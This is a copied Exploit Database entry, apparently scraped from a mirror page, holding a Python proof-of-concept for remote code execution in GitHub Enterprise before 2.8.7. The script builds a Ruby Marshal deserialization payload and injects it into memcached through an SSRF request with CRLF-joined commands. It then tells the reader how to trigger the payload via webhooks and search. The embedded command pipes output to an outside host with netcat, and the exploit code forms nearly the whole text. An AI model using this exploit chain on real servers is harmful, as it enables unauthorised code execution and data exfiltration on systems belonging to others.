GitHub Enterprise < 2.8.7 - Remote Code Execution

• Exploit Database
• 172 阅读

• 作者： orange
  日期： 2017-03-15
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/42392/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31

  #!/usr/bin/python from urllib import quote   &apos;&apos;&apos; set up the marshal payload from IRB code = "<code>id | nc orange.tw 12345</code>" p "\x04\x08" + "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" + ":\x0E@instance" + "o"+":\x08ERB"+"\x07" + ":\x09@src" + Marshal.dump(code)[2..-1] + ":\x0c@lineno"+ "i\x00" + ":\x0C@method"+":\x0Bresult" &apos;&apos;&apos; marshal_code = &apos;\x04\x08o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\x07:\x0e@instanceo:\x08ERB\x07:\t@srcI"\x1e<code>id | nc orange.tw 12345</code>\x06:\x06ET:\x0c@linenoi\x00:\x0c@method:\x0bresult&apos;   payload = [ &apos;&apos;, &apos;set githubproductionsearch/queries/code_query:857be82362ba02525cef496458ffb09cf30f6256:v3:count 0 60 %d&apos; % len(marshal_code), marshal_code, &apos;&apos;, &apos;&apos; ]   payload = map(quote, payload) url = &apos;http://0:8000/composer/send_email?to=orange@chroot.org&url=http://127.0.0.1:11211/&apos;   print "\nGitHub Enterprise < 2.8.7 Remote Code Execution by orange@chroot.org" print &apos;-&apos;*10 + &apos;\n&apos; print url + &apos;%0D%0A&apos;.join(payload) print &apos;&apos;&apos; Inserting WebHooks from: https://ghe-server/:user/:repo/settings/hooks   Triggering RCE from: https://ghe-server/search?q=ggggg&type=Repositories &apos;&apos;&apos;